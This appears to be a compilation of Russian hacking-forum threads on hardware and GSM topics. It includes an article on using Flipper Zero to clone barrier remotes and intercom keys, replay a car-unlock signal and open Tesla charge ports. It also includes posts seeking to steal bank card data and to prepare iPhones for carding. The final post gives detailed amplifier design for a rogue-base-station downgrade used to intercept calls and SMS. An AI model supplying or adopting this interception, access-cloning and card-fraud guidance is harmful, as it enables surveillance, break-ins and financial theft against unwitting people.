Где могут применяться встраиваемые FPGA
Казалось бы, логичным ответом на этот вопрос будет «там же, где и обычные», но на самом деле у этих двух типов схем разные применения и рыночные ниши. Встроенные FPGA особенно полезны в быстро развивающихся отраслях, где стандарты постоянно обновляются, а прорывы в алгоритмах и математике случаются чуть ли не еженедельно.

Выводы
В отличие от обычных отдельных FPGA, встраиваемые нельзя просто пойти и купить, они полезны тем, кто задумывается о разработке (или о заказе разработки) собственной микросхемы. Разработка современного чипа — дело довольно дорогое, и речь идет о суммах от миллиона до нескольких десятков миллионов долларов, но и выгода от применения специализированного чипа в серийных устройствах может быть огромной.

В России несколько десятков компаний занимаются разработкой микросхем, и многим из них такой проект вполне по силам. Впрочем, если учесть темпы, которыми развиваются встраиваемые FPGA, уже совсем скоро они могут появиться не только в топовых продуктах Intel, а, скажем, в новом поколении популярных микроконтроллеров. Возможно, стоит начать учить Verilog уже сегодня!

автор: Валерий Шунков, хакер.ру

Бесплатные виртуальные АТС
ID: 676535aeb4103b69df3736b4
Thread ID: 26166
Created: 2018-10-03T12:34:54+0000
Last Post: 2018-10-03T12:34:54+0000
Author: xrahitel
Replies: 0 Views: 2K

Переходим регаемся telephony.yandex.ru получаем московский на входящие и исходящие :D смотрим тыц

Видео как прошивать телефоны марки Motorola.(на примере e398)
ID: 676535aeb4103b69df3736bc
Thread ID: 23251
Created: 2012-09-06T17:36:04+0000
Last Post: 2012-09-06T17:36:04+0000
Author: XSSBot
Prefix: Видео
Replies: 0 Views: 2K

Обсуждение видеоhttp://xss.is/?act=video#video217[
Автор: Sn@k3
Дата добавления: 10.11.2006 00:10
Видео как прошивать телефоны марки Motorola.(на примере e398)
Видео позаимствовано из архива antichat.ru

[url=http://xss.is/video/203.gif]Скриншот](http://xss.is/?act=video#video217)
[a style='color:#309030 !important' href='http://dllfiles.org/video/203.rar' target='_blank']Скачать | Download[/url] (1.17 Mb)

Копирование HDDVD и Blue Ray
ID: 676535aeb4103b69df3736cf
Thread ID: 14321
Created: 2006-12-07T19:31:04+0000
Last Post: 2006-12-07T19:31:04+0000
Author: DeathOfPower
Replies: 0 Views: 2K

вобсчем тема такая: нужно покупать HDDVD или BlueRay плеер, а лучше подождать выпуска 2-х - стандартных плееров.
только плеер должен быть из качественных а не из простых типа BBK (хотя BBK вроде ещё не выпускает таких) т.к. в последних видео ЦАПы встроеные в сам процессор, а в хороших дорогих моделях оычно стоят внешние высококачественные ЦАПы которые подсоединены к процессору либо по I2C шине или по какой-то подобной, вот и надо сделать преобразователи их этой шины и шины по которой звук идёт в какие-нить USB 2.0 или FireWire и для компа написать драйвер и программу которая будет читать всё это и какими-нить кодеками упаковывать. Неплохо если на компе есть аппаратный кодек чтобы не грузить процессор, но на крайняк подойдёт Core 2 Duo 6300 назогнаный до 3.5 ГГц (такое уже народ делал с overclokcers.ru, там мать есть какая-то от GigaByte которая выдерживает 500 МГц на шине ну и память DDR2 1000 или разогнаную DDR2 800)

вот и всё никакая их защита не поможет... тока надо успеть купить плеер пока они не догадались об этой дыре или думают что её тока пираты будут юзать а у обычных людей ума не хватит... но им же могут и помочь такой девайс приделать радиолюбители... но это опять-таки скорее всего тока у нас такое будет :punk:

а то ведь могут спохватицца и даже на дорогих моделях буде встроеный в ЧИП ЦАП а внешний тока в High-End аппаратах по цене в несколько штук баксов :angry2:

в принципе так можно копировать DVD-Audio т.к. пираты пока не удостоили этот формат своим вниманием
Добавлено в [time]1165519864[/time]
неплохо также посмотреть (у кого есть XBox-360) должен же быть там внешний ЦАП, если нет то тогда облом т.к. на не-HDMI выходы приставка будет сигнал с пониженым разрешением выдавать

GSM-Bridge
ID: 676535aeb4103b69df3736d2
Thread ID: 13142
Created: 2006-10-31T22:00:41+0000
Last Post: 2006-11-01T11:24:48+0000
Author: andreyepro
Prefix: GSM
Replies: 1 Views: 2K

Нашел схему моста, http://www.region51.info/most.html но ее простота и низкая функциональность не привлекают.

Может, кто находил схемотехнические решения на микроконтроллерах???
с возможностью осуществлять звонки с телефона.

Хакерский «мультитул». Что я успел натворить за месяц с Flipper Zero.
ID: 676535aeb4103b69df3735d9
Thread ID: 89706
Created: 2023-06-04T19:22:19+0000
Last Post: 2023-06-09T01:58:52+0000
Author: baykal
Prefix: Статья
Replies: 4 Views: 1K

Flipper — хакерский «мультитул», созданный командой российских разработчиков, — успел неплохо прославиться. В начале 2021 года проект собрал почти 5 миллионов долларов [на «Кикстартере»](https://www.kickstarter.com/projects/flipper-devices/flipper- zero-tamagochi-for-hackers), потом сообщество с интересом следило за всеми перипетиями производства, а теперь начались сложности с распространением и доставкой. Я уже получил свой экземпляр и расскажу о том, как использую его в жизни, чтобы помочь тебе понять, стоит ли срочно обзаводиться «Флиппером».

Уже больше года прошло с тех пор, как первые бэкеры получили свои девайсы, но шумиха вокруг Flipper Zero только усиливается. Миллионы просмотров видео скрипт‑кидди в «Тиктоке» и обзоры в известных блогах, таких как Linus Tech Tips, новости об уничтожении и конфискации партий «Флиппера», да еще и запрет на продажу на Amazon и eBay только подогревают интерес к устройству. В рекламе компонентов СКУД‑систем уже пишут «Flipper Zero не сработает!». Спрос на «Флиппер» настолько большой, что о дропах новых партий объявляют заранее, а разлетаются они мгновенно. При этом не дремлют и скамеры, которые пытаются заработать на ажиотаже.

![](/proxy.php?image=https%3A%2F%2Fstatic.xakep.ru%2Fimages%2F68b23e54cdf80b5f1884002225df6459%2F31410%2Fflipper- explode.png&hash=5c25329dd6d0df7920858361a90f06a9)
При этом новоиспеченные обладатели устройства, которые повелись на хайп, раз за разом спрашивают на сабреддите «Флиппера»: «А что с ним делать?» Ответ чаще всего: «Играть в змейку и открывать лючки зарядки у Tesla».

Давай вместе пройдемся по доступным в заводской прошивке возможностям «Флиппера» и попробуем понять, какие потенциальные применения ему найдутся в жизни гика.

Итак, после распаковки Flipper быстро включается и сразу же готов к работе. Единственное, что потребовалось, — это флешка microSD и обновление прошивки.

SUB-GHZ​

Начнем с самой интересной, на мой взгляд, функции. Flipper умеет принимать, записывать и воспроизводить радиосигналы в определенных диапазонах на частотах до 1 ГГц. Но с базовой прошивкой — в разрешенных пределах в зависимости от региона. Для моей страны эти диапазоны те же, что и для России: 433,05–434,79 МГц, 868,15–868,55 МГц, 915 МГц, 925 МГц.

Судя по моему небольшому опыту и беглому поиску по маркетплейсам, большинство шлагбаумов в нашем регионе работает на частоте 433,92 МГц и использует статический код. Это значит, что сигнал пульта от такого шлагбаума легко принять и сохранить в «Флиппер» для дальнейшего применения.

Конечно, это не относится к платным подземным парковкам, частным домам и другим местам в таком духе. Там обычно стоят более продвинутые СКУД. Но коды шлагбаумов в закрытых дворах многоквартирных домов, на небольших частных парковках и офисных стоянках отлично копируются.

Шлагбаум на парковке​

В моем доме для въезда на территорию используется именно такой шлагбаум с недорогим пультом. Копирование сигналов всех трех его кнопок занимает в общей сложности меньше минуты, а записанный на «Флиппер» сигнал отлично работает — не хуже, чем когда используешь пульт.

Для записи нужно всего лишь выбрать в разделе Sub-GHz пункт Read и установить центральную частоту, которая обычно указана на пульте. После нажатия по очереди всех кнопок «Флиппер» их определит и демодулирует сигналы, а нам останется только сохранить их под каким‑то именем.

Следующей жертвой я наметил пульт от ворот подземной парковки. На него надежды было мало, потому что, в отличие от пульта шлагбаума, за него мне пришлось отвалить залог, эквивалентный 3,5 тысячи рублей, а на местном радиорынке наотрез отказались его копировать, повторяя «Rolling code, rolling code».

Однако на тех же самых настройках «Флиппер» безошибочно определил источник сигнала как Marantec, что совпало с надписью на самом пульте. Обе кнопки успешно записались и отлично функционируют. Даже дальность работы пультов и «Флиппера» ничем не отличается.

Итого: минус два лишних брелока, сэкономленные деньги и плюсик «Флипперу».

Копируем пульты
Кстати, по поводу дальности считывания сигнала. Я провел небольшой эксперимент, в результате которого определил, что записать сигнал с таких беспроводных пультов можно с расстояния около 20 м в прямой видимости. Правда, зона уверенного приема (запись сигнала после короткого нажатия кнопки) оказалась чуть меньше — порядка 15–18 м в зависимости от пульта. Впрочем, это расстояние можно увеличить, если использовать дополнительный ВЧ‑модуль с внешней антенной.

Основной вывод: при использовании простеньких незащищенных пультов всегда есть вероятность, что потенциальный злоумышленник перехватит сигнал.

Автомобиль​

Воодушевленный этим успехом, я решил перейти к брелоку от машины. Тут уже, конечно, код не статичный, а динамический, то есть тот самый rolling code.

Rolling code (скользящий, или динамический, код) — технология, которую применяют в радиочастотном дистанционном управлении, чтобы защититься от копирования ключа. Принцип ее работы очень простой: при каждом использовании код меняется, причем каждый код, отправленный передатчиком и принятый приемником, считается использованным и может быть принят только один раз.

Технология надежная, но даже из описания можно понять, что у нее есть один изъян — использованным считается только принятый приемником код.

То есть полностью скопировать брелок от современного автомобиля не получится, но один раз снятый «Флиппером» сигнал сработает. В отличие от случая с пультом от парковки, полностью демодулировать сигнал не выйдет, и мы запишем его в формате RAW, выбрав в меню соответствующий пункт.

При попытке использовать предыдущий код после того, как был использован следующий, приемный блок в автомобиле переводится в режим блокировки. Вывести его из этого режима у меня получилось, только скинув клемму аккумулятора. До этого автомобиль никак не реагировал на нажатия кнопок на ключе, поэтому открыть или закрыть машину можно было только физическим ключом автомобиля. А во многих автомобилях замочная скважина спрятана за заглушкой ручки открывания двери, о чем владельцы часто даже не подозревают. Если не хочешь оказаться в такой ситуации, лучше воздержись от экспериментов с автомобилем.

В итоге у меня получилось один раз открыть центральный замок, записав код открытия в режиме RAW, и воспроизвести сигнал открытия рядом с автомобилем. Обрати внимание: нужно, чтобы ключ находился далеко от автомобиля, иначе сигнал будет принят машиной.

Вывод: никогда не оставляй свой ключ без присмотра, а в машине не храни ценные вещи. Злоумышленник может незаметно записать сигнал открытия с ключа и открыть двери автомобиля, пока тебя не будет. Для этого достаточно такого простого устройства, как «Флиппер», но существуют и более мощные специализированные девайсы.

Хакаем «Теслу»​

Популярное развлечение владельцев «Флиппера» в Европе и Америке — дистанционное открытие лючков зарядки в «Теслах». В России вероятность встретить «Теслу» не так велика. А вот там, где я живу, они попадаются намного чаще. Лючок одной из них (исключительно в образовательных целях) я торжественно открыл к большому удивлению сидевшего в ней владельца. Конечно же, делал я это в суперудобном стелс‑режиме Screen Streaming из приложения для iPhone, чтобы не столкнуться с недопониманием хозяина машины.

Рай флипперовода, по мнению пользователей Reddit
Чтобы провернуть этот трюк, нужно скачать с GitHub четыре файла, соответствующие двум вариациям сигналов — для машин европейского и американского рынков. Поскольку частоты «Флиппера» в стандартной прошивке залочены с учетом региона, сигнал для американской «Теслы» мне воспроизвести не удалось, а при попытке это сделать «Флиппер» выдавал грозную картинку. Видимо, несколько других попавшихся мне машин, которые мне не удалось хакнуть, были как раз американскими.

Дельфин грозит плавником (?)

RFID​

Пожалуй, самое простое и полезное применение «Флиппера» — это сохранение ключей домофона.

Очень удобно хранить ключи от всех домов, где ты бываешь, и больше никогда не испытывать неловкость, стоя перед закрытой дверью и слушая писк динамика.

Все попадавшиеся мне ключи работали по протоколу EM4100. Считывание занимает буквально пару секунд, как и эмуляция ключа. Тут главное — не полениться и при сохранении ключа изменить название со случайного дефолтного на осмысленное, которое поможет однозначно идентифицировать метку.

Интересно, что протокол настолько не защищен, что эмулировать ключ можно буквально по фотографии. По протоколу E4100 значимые данные содержатся в пяти байтах. Если на ключе есть последовательность цифр типа «049, 43317», то для ввода ключа в ручном режиме необходимо перевести эти два числа в Hex. Должно получиться 00 31, A9 35. Перед этими четырьмя байтами добавляем код версии (нужно будет подобрать) и вводим вручную: 00 00 31 A9 35. Этим кодом можно пользоваться для эмуляции так же, как и любым считанным по радиоканалу.

Дрессированный дельфин открывает двери силой мысли
Ключи EM-Micro EM4100 бывают неперезаписываемые (в основном маркированные, их заносят в память домофона) и перезаписываемые. Последние нам и потребуются для создания копий ключей. Для этой цели я заказал на одном из маркетплейсов пучок из десяти болванок за 300 с чем‑то рублей. Важно: заказывать нужно ключи Т5577. Именно они поддерживают перезапись и отлично работают.

Успешно прошиваем болванки Т5577 (в зеленом корпусе видны внутренности ключа — чип и антенна)

NFC​

В 2020 году, когда я решил поддержать «Флиппер» на «Кикстартере», я возлагал большие надежды на NFC. В России у меня очень многое работало именно на этой технологии — шлагбаум в гаражном кооперативе, офисный пропуск, домофон, браслет в фитнес‑клубе. А вот после переезда, к моему большому сожалению, я не смог найти для этой функции ни одного полезного применения. Все, что мне удалось сделать, — немного поэкспериментировать.

Первое, что пришло в голову, — считать UID со своих банковских карт, но использовать копии для оплаты все равно не получится, мешает защита. Также я попробовал считать информацию с чипа своего российского загранпаспорта, но смартфон с этой функцией справляется лучше, потому что информация на чипе запаролена и открывается только после считывания и распознавания машиночитаемой зоны.

Последним экспериментом было считывание карты «Тройка», которую я нашел в старых вещах. К моему удивлению, «Флиппер» не только считал карту, но и показал баланс в пять рублей. К сожалению, дальше экспериментировать с транспортными картами я не могу, потому что у нас метро до сих пор работает по жетонам, а наземный транспорт вообще оплачивается только наличными.

Пять рублей
В целом у меня сложилось такое впечатление, что с NFC уже более‑менее освоились смартфоны и дополнительное устройство здесь ничего нового не даст.

IR​

Отличная функция «Флиппера», которой я также постоянно пользуюсь, — это ИК‑пульт.

Если судить по «Тиктоку», основное применение этой функции — выключение телевизоров и всяких рекламных щитов в торговых центрах. В этом я никакого смысла не вижу, в отличие от замечательной возможности поуправлять бытовой техникой. Тут и элементарное использование в качестве запасного пульта от телевизора, ресивера, ТВ‑приставки (увы, не слишком удобно из‑за особенностей управления «Флиппером») и проектора.

Кстати, это огромная дыра в безопасности мероприятий. Я не раз выступал в больших залах с проектором, подвешенным под потолком и управляемым только с ИК‑пульта. Не хотелось бы во время выступления нарваться на шутника с «Флиппером»!

Если ты когда‑нибудь работал в офисе, наверняка сталкивался с проблемой пульта от кондиционера. Пульт обычно один на весь офис и либо лежит у ответственного за его оборону сотрудника, либо постоянно теряется. К счастью, «Флиппер» позволяет решить этот вопрос раз и навсегда, причем универсальный пульт от кондиционера уже входит в дефолтную прошивку.

Беглый ресерч показал, что с кондиционерами все несколько сложнее, чем, например, с телевизорами. Их пульты передают сразу все параметры при нажатии любой кнопки, а некоторые еще получают обратную связь. Однако это совершенно не мешает управлять кондиционером с «Флиппера», хоть и в немного нештатном режиме.

Если сигналов твоего кондиционера не было в универсальном приложении, то можешь, как и я, записать сигнал с пульта. Как вариант, такие записи можно найти и скачать. По моему опыту, оба способа отлично работают: файл для телевизора я скачал, а пульт от кондиционера малоизвестной марки пришлось копировать.

IBUTTON​

Самый первый раз я попытался воспользоваться «Флиппером» прямо по дороге с почты, на которой его забрал, — чтобы скопировать ключ домофона. В моем домофоне используется контактная таблетка iButton (работает по протоколу 1-Wire) производства Dallas Semiconductor. Ключ скопировался моментально, но, к моему огромному сожалению, как я ни тыкал «Флиппером» в домофон, дверь так и не открылась.

Поначалу я грешил на конструкцию корпуса и размещение пого‑пинов (подпружиненных контактов). Чтобы проверить эту версию, я подключился к домофону проводами, благо контакты iButton продублированы в верхней части «Флиппера» (GPIO 8 и 17).

Проверяем контакт
На этот раз домофон сразу открылся. Оказалось, что такая проблема часто возникает у новых пользователей. Чтобы с первого раза открывать такие домофоны, требуется выработать некоторый скилл одновременного попадания пого‑пинами по обоим контактам.

Можно не только эмулировать ключ, но и воспользоваться функцией копирования. Я купил себе одну пустую болванку в ближайшей палатке, где изготавливают ключи. Flipper отлично справился с копированием на нее всех попадавшихся мне ключей.

В общем, в итоге минус еще один ключ и потенциальная возможность накопировать ключи всем желающим. Болванки для таких ключей тоже легко найти на маркетплейсах — ищи по ключевому слову rw1990. Стоят они примерно столько же, сколько и RFID-ключи.

U2F​

U2F (Universal 2nd Factor) — открытый бездрайверный протокол для двухфакторной аутентификации. U2F-устройство можно использовать как второй фактор, например для аутентификации в онлайновых сервисах.

Как только я обнаружил, что «Флиппер» может служить U2F-ключом/токеном, сразу же решил настроить его для двухфакторной аутентификации одного из своих почтовых ящиков. Я уже давно хотел сделать что‑то такое, но отпугивала необходимость покупать и носить с собой лишнюю флешку.

Регистрация «Флиппера» в качестве токена на «Маке» прошла без проблем и с первого же раза. Главное — не забывать переключать в браузере двухфакторную аутентификацию со стандартной на физический ключ.

Теперь при новом входе в веб‑интерфейс почты после ввода логина и пароля появляется запрос на двухфакторную аутентификацию. В способе входа выбираем «Ключ безопасности». Для успешного логина нужно подключить «Флиппер» к компьютеру по USB, выбрать в меню пункт U2F и подтвердить логин нажатием средней кнопки на «Флиппере».

Так у меня появилась еще одна причина всегда иметь при себе «Флиппер».

BLUETOOTH​

«Флиппер» использует Bluetooth LE для подключения к смартфону, но этот же интерфейс можно использовать и в более интересных целях. Например, подключать как контроллер для компьютеров и телефонов.

«Флиппер» может работать как мышка или клавиатура. Не слишком удобно, но в некоторых случаях пригодится. Например, можно использовать его как кликер для презентаций. Для этого в его приложении есть пункт Keynote.

Я нахожу эту функцию крайне полезной: у «Флиппера» удобные форма и размеры, он всегда с собой, да и просто круто выступать в руках с «Флиппером». Публике нравится!

Что касается управления смартфоном, то и тут у меня нашелся отличный юзкейс. При съемке фото или видео со штатива я обычно использовал копеечный китайский пультик, который после подключения по Bluetooth выполнял единственное действие — имитировал нажатие физической кнопки громкости, которая на iPhone привязана к спуску затвора.

«Флиппер» с этой задачей отлично справляется, но, если попробовать сделать то же самое из некоторых приложений (например, попытаться записать reel в Instagram), запись не начнется. Чтобы решить эту проблему, можно включить на iPhone функцию AssistiveTouch и, используя «Флиппер» в режиме мышки, нажимать кнопку записи (или любую другую кнопку на экране).

Также «Флиппер» отлично работает в качестве пульта — например когда стримишь музыку с ноутбука на беспроводную колонку.

ВЫВОДЫ​

Писать про «Флиппер» — это примерно как писать про смартфон или компьютер. Это полноценная открытая программно‑аппаратная платформа со своими особенностями, операционной системой и прочим. У нее масса возможностей и применений, для каждого пользователя набор любимых фич будет другим.

Я всегда ношу с собой «Флиппер» и использую его каждый день. Он избавил меня от необходимости иметь при себе громоздкие пульты и лишние ключи. Часто использую его как ИК‑пульт для телевизора, кондиционера и проектора, как Bluetooth-пульт или кликер для компьютера и телефона и как ключ U2F.

Так что, даже если ты ничего не мастеришь и не взламываешь, «Флиппер» вполне может пригодиться в обычной жизни. Если же ты увлекаешься схемотехникой и прочим DIY или тебе нужен универсальный и компактный инструмент для физических пентестов, то ты, скорее всего, оценишь «Флиппер» еще выше.

Кастомные прошивки со снятым ограничением на частоты и функциями брутфорса делают «Флиппер» гораздо более серьезным девайсом, а дополнительные аппаратные модули (например, внешние адаптеры Wi-Fi) и сторонние программы и плагины значительно расширяют возможности.

Не мог я не оценить и усилия, которые разработчики прилагают к поддержке проекта. Постоянно выходят обновления с новыми функциями и заплатками. К примеру, с последним обновлением (0.82.3) за счет функции глубокого сна длительность работы батареи увеличилась в четыре (!) раза.

Кстати, даже на предрелизных версиях прошивки «Флиппер» работает стабильно. За все время использования он успел зависнуть или внезапно ребутнуться всего несколько раз.

Вокруг устройства уже сформировалось активное международное сообщество. С любым вопросом о работе с «Флиппером» можно прийти на официальный форум или сабреддит и найти ответ, попросить помощи или как минимум обсудить интересующую тему.

Главный же вывод для меня заключается в том, что «Флиппер» — не просто хайповая игрушка для гиков и не только отличное устройство для изучения беспроводных атак, но и очень полезный в хозяйстве девайс, который находит применение в самых разных случаях.

автор @FiReMaN
xakep.ru

[DEF CON 32] Where’s the Money: Defeating ATM Disk Encryption
ID: 676535aeb4103b69df373549
Thread ID: 120802
Created: 2024-08-14T20:06:16+0000
Last Post: 2024-10-29T15:26:49+0000
Author: weaver
Prefix: Мануал/Книга
Replies: 3 Views: 1K

Description

Holding upwards of $400,000, ATMs continue to be a target of opportunity and have seen over a 600% increase in crime in just the last few years. During this time, I led security research with another colleague into the enterprise ATM industry resulting in the discovery of 6 zero-day vulnerabilities affecting Diebold Nixdorf’s Vynamic Security Suite (VSS), the most prolific ATM security solution in the market. 10 minutes or less is all that a malicious actor would need to gain full control of any system running VSS via offline code injection and decryption of the primary Windows OS. Diebold Nixdorf is one of three major North American enterprise class ATM manufacturers with a global presence in the financial, casino/gaming, and point-of-sale markets. Similar attack surfaces are currently being used in the wild and impact millions of systems across the globe. Furthermore, VSS is known to be present throughout the US gaming industry, including most of the ATM/cash-out systems across Vegas.

In this session, I will walk through my research, review the discovery process, and dive into the technical intricacies of each vulnerability. The Full Disk Encryption module of VSS conducts a complex integrity validation process to ensure a trusted system state, performed as a layered approach during system initialization. Examination of this workflow will highlight various deficiencies that I will demonstrate through PoC exploitation.

Each vulnerability presented in this session has been observed to have a recursive impact across all major versions of VSS and represents a systemic ongoing risk. We will explore the root-cause, vendor remediation steps, and short-comings thereof – perpetuating the attack narrative. In conclusion, proper mitigation techniques and procedures will be covered, providing valuable insights into defending against potential compromise.

Click to expand...

https://info.defcon.org/event/?id=54955

[DEF CON 32 - Matt Burch - Where’s the Money - Defeating ATM Disk Encryption- demo1.mp4](https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Matt%20Burch%20-%20Where%E2%80%99s%20the%20Money%20-%20Defeating%20ATM%20Disk%20Encryption- demo1.mp4)
[DEF CON 32 - Matt Burch - Where’s the Money - Defeating ATM Disk Encryption- demo2.mp4](https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Matt%20Burch%20-%20Where%E2%80%99s%20the%20Money%20-%20Defeating%20ATM%20Disk%20Encryption- demo2.mp4)
[DEF CON 32 - Matt Burch - Where’s the Money - Defeating ATM Disk Encryption- demo3.mp4](https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Matt%20Burch%20-%20Where%E2%80%99s%20the%20Money%20-%20Defeating%20ATM%20Disk%20Encryption- demo3.mp4)
[DEF CON 32 - Matt Burch - Where’s the Money - Defeating ATM Disk Encryption- demo4.mp4](https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Matt%20Burch%20-%20Where%E2%80%99s%20the%20Money%20-%20Defeating%20ATM%20Disk%20Encryption- demo4.mp4)
[DEF CON 32 - Matt Burch - Where’s the Money - Defeating ATM Disk Encryption- demo5.mp4](https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Matt%20Burch%20-%20Where%E2%80%99s%20the%20Money%20-%20Defeating%20ATM%20Disk%20Encryption- demo5.mp4)
[DEF CON 32 - Matt Burch - Where’s the Money - Defeating ATM Disk Encryption- demo6.mp4](https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Matt%20Burch%20-%20Where%E2%80%99s%20the%20Money%20-%20Defeating%20ATM%20Disk%20Encryption- demo6.mp4)

whitepaper
[тыц](https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Matt%20Burch%20-%20Where%E2%80%99s%20the%20Money%20-%20Defeating%20ATM%20Disk%20Encryption- white%20paper.pdf)

slides
тык

Кража банковских карт
ID: 676535aeb4103b69df37354a
Thread ID: 125470
Created: 2024-10-24T16:36:44+0000
Last Post: 2024-10-28T16:12:09+0000
Author: lovelyme
Replies: 5 Views: 1K

Привет, мои русские братья
(Я еще в процессе изучения русского языка, но мы братский народ и там, откуда я, оттуда и ваш алфавит)
Я подумываю украсть данные банковской карты с помощью банковского замка, который использует msr для проверки вас как клиента.

Предложения о том, как проникнуть?20241023_214944.jpg

Кастрация айфона
ID: 676535aeb4103b69df373550
Thread ID: 123757
Created: 2024-09-29T14:29:15+0000
Last Post: 2024-10-03T17:21:38+0000
Author: ssh
Replies: 6 Views: 1K

Был ли у кого опыт физического удаления из яблочных телефонов микросхем (модулей) wifi, bluetooth и gps, с целью прекращения отсылки во вражеское Купертино MAC-адресов и других идентификаторов устройств находящихся рядом дома, в зоне действия радиосигналов рабочего под вбив девайса?

Инет останется только через кабель с нужного носка, с настроенным killswitch и firewall.

Сложно ли самому разобраться вскрыв трубку и всё сделать, на что обратить внимание? Может быть есть мануалы...

С маком то же самое интересует, это должно быть проще... есть ли у кого опыт работы с такими девайсами касаемо фарма, вбива, регистраций в дальнейшем? Как вижу, это мастхэв.

Мобильная связь | 2018
ID: 676535aeb4103b69df373556
Thread ID: 112328
Created: 2024-04-09T20:01:35+0000
Last Post: 2024-09-23T22:42:10+0000
Author: Script_186
Prefix: GSM
Replies: 2 Views: 1K

Автор: Лохвицкий М.С., Сорокин А.С., Шорин О.А.
Язык: Русский
Год: 2018
Страниц: 266

1712692024672.png

В книге подробно описаны основы и лежащие в основе технологии мобильных сетей, мобильных систем.

Link : https://gofile.io/d/8tzU7h

Универсальный RFID ключ?
ID: 676535aeb4103b69df37356a
Thread ID: 118301
Created: 2024-07-06T14:17:25+0000
Last Post: 2024-07-07T10:59:42+0000
Author: YaR1k
Replies: 6 Views: 1K

Есть идеи, как сделать универсальный RFID ключь?
Если есть нормальный контент для изучения на эту тему - кидайте.
Спасибо.

Что можно сделать на RaspberryPI 5?
ID: 676535aeb4103b69df37356c
Thread ID: 116458
Created: 2024-06-09T10:31:16+0000
Last Post: 2024-06-24T08:47:23+0000
Author: hahbah
Replies: 3 Views: 1K

Парни, купил новую малинку.
Подскажите какие интересные и полезные проекты в работе можно написать?
Вижу, что в основном все для роутеров и впн ее используют, есть что-то еще интересное?
Буду рад любой идеи.

Как называются виды сообщений, которые телефон воспринимает не как смс, а как исполняемый код (Ну или что то наподобие кода)
ID: 676535aeb4103b69df37356e
Thread ID: 116667
Created: 2024-06-12T13:21:10+0000
Last Post: 2024-06-18T13:50:59+0000
Author: Error403
Prefix: GSM
Replies: 5 Views: 1K

Здравствуйте, уважаемые форумчане. Прошу не судить строго из за моих тупых вопросов. Насколько я знаю, Pegasus (да и фсб когда хотят тел на прослушку поставить вроде) отправляют на симку какое то особенное сообщение, которое воспронимается телефоном не как обычное сообщение (текст), а как исполняемый код и т.п. Долго я однако искал на форуме что то подобное, но нашел лишь одну тему, где такие сообщения назывались "silent sms". Но поиск по этим словам ничего не выдал.

Буду очень благодарен за любой ответ, заранее спасибо

Редиректор 4G->2G
ID: 676535aeb4103b69df373575
Thread ID: 96704
Created: 2022-09-24T13:55:53+0000
Last Post: 2024-05-09T02:13:00+0000
Author: gliderexpert
Prefix: GSM
Replies: 15 Views: 1K

Эмуляторы базовых станций сотовой связи, известные в народе как Imsi-Catcher's или Stingray - работают на уязвимом стандарте GSM связи 2G.
Данные устройства позволяют делать множество интересных вещей с телефонами - перехватывать и отправлять СМС сообщения, подслушивать разговоры, и даже создавать временный "клон" мобильного телефона цели в целях... Впрочем - оставлю это для Вашей фантазии.

К сожалению, почти весь современный прогрессивный и не очень мир перешел уже на 4G, местами 5G. Согласно процедуре выбора соты - телефон по умолчанию подключается к самому высокоскоростному стандарту, то есть при наличии покрытия сети 4G - на нашу фейковую базовую станцию никак не захочет подключаться.

С LTE сети телефон нужно как-то вытеснить в 2G. Самое простое - заглушить широкополосным шумом. К сожалению, на практике этот метод не применим, так как сигналы LTE БС присутствуют на диапазонах 900 и 1800 МГц. Поставив помеху на данных частотах - мы заглушим и весь 2G, включая собственный IMSI Catcher.

Для редиректа телефона с 4G на 2G будем использовать уязвимость стандарта 4G, обнаруженную мною и опубликованную ранее на форуме
В этой теме - поговорим о реализации "железа" для осуществления практической атаки - принудительного сброса телефона с 4г на 2г.

Так как метод редиректа - подразумевает использование только передатчика (приемник не нужен), то вся аппаратная часть сводится к простой связке:
компьютер->SDR передатчик->усилитель->антенна.

Начну с середины - сегодня про усилитель.

Принимаемый телефоном цели сигнал от редиректора должен иметь уровень больше чем intra-freq reselection hysteresis как минимум на 4db.
Зная, что законодательно мощность базовой станции не может превышать 20вт, а типовое усиление антенн операторов сотовой связи составляет 15dB - легко определить что выдаваемая редиректором мощность для его реальной и комфортной эксплуатации в городских условиях должна составлять не менее 80вт на канал с таким же усилением антенны.

Причем, все вышесказанное - относится к каждому из каналов редиректора, а их может быть больше 7 в крупном городе.

В итоге получаем что нам нужно иметь суммарную мощность генераторов, сопоставимую с мощностью бытовой микроволновой печи (800вт СВЧ), а плотность энергии в луче антенны и того будет в 20 раз больше чем внутри микроволновки (т.к. антенна дает еще 10-15дБ)!

Ну как - еще есть вопросы на тему какую дальность даст hackrf/motorola/лайм и т.п. китайщина? :D
Нет?

Тогда приступим. SDR имеет радиочастотную мощность в районе 0dBm (1мВт) .
Соответственно, для получения 80вт - мы должны усилить его на 49dB.
Одним каскадом сделать это нереально - поэтому лучше использовать как минимум 2 каскада, собранных последовательно.
Например, для частоты в районе 900МГц мне нравится связка из двухкаскадной LDMOS сборки MW4IC915NB и N-канального LDMOS
транзистора выходного каскада MRF5S9101NBR. Получаем 3 каскада усиления,. но физически корпусов всего 2.
Данная связка выдает около 100вт при работе с синусоидальным сигналом, в реальных условиях (GSM-TDMA) - можно расcчитывать на 60-80вт с приемлемым для редиректора уровнем нелинейных искажений.
На выходе обязательно ставим циркулятор, нагруженный на СВЧ резистор сопротивлением 50 Ом - это защитит транзистор выходного каскада от пробоя, в случае неполадок или рассогласования в антенном тракте.

КПД усилителя на LDMOS составляет в лучшем случае 40%, поэтому рассеиваемая всеми каскадами суммарная тепловая мощность будет как минимум 120-150вт, а лучше для комфортного теплового режиме транзистора рассчитывать на 200-300вт.
Напомню, что речь про ОДИН канал!
Воздушное охлаждение - очень надежное, но имеет 3 недостатка
- шум
- невозможно точно контролировать температуру.
Ток затвора транзистора в режиме холостого хода сильно зависит от температуры!
Можно конечно сделать цепь с обратной связью по току и еще рядом поставить датчик температуры, использовать программно-управляемый ЦАП которым будем задавать ток смещения в зависимости от температуры транзистора...
Но - мне проще термостатировать плату )
- размеры. Система воздушного охлаждения не будет компактной.

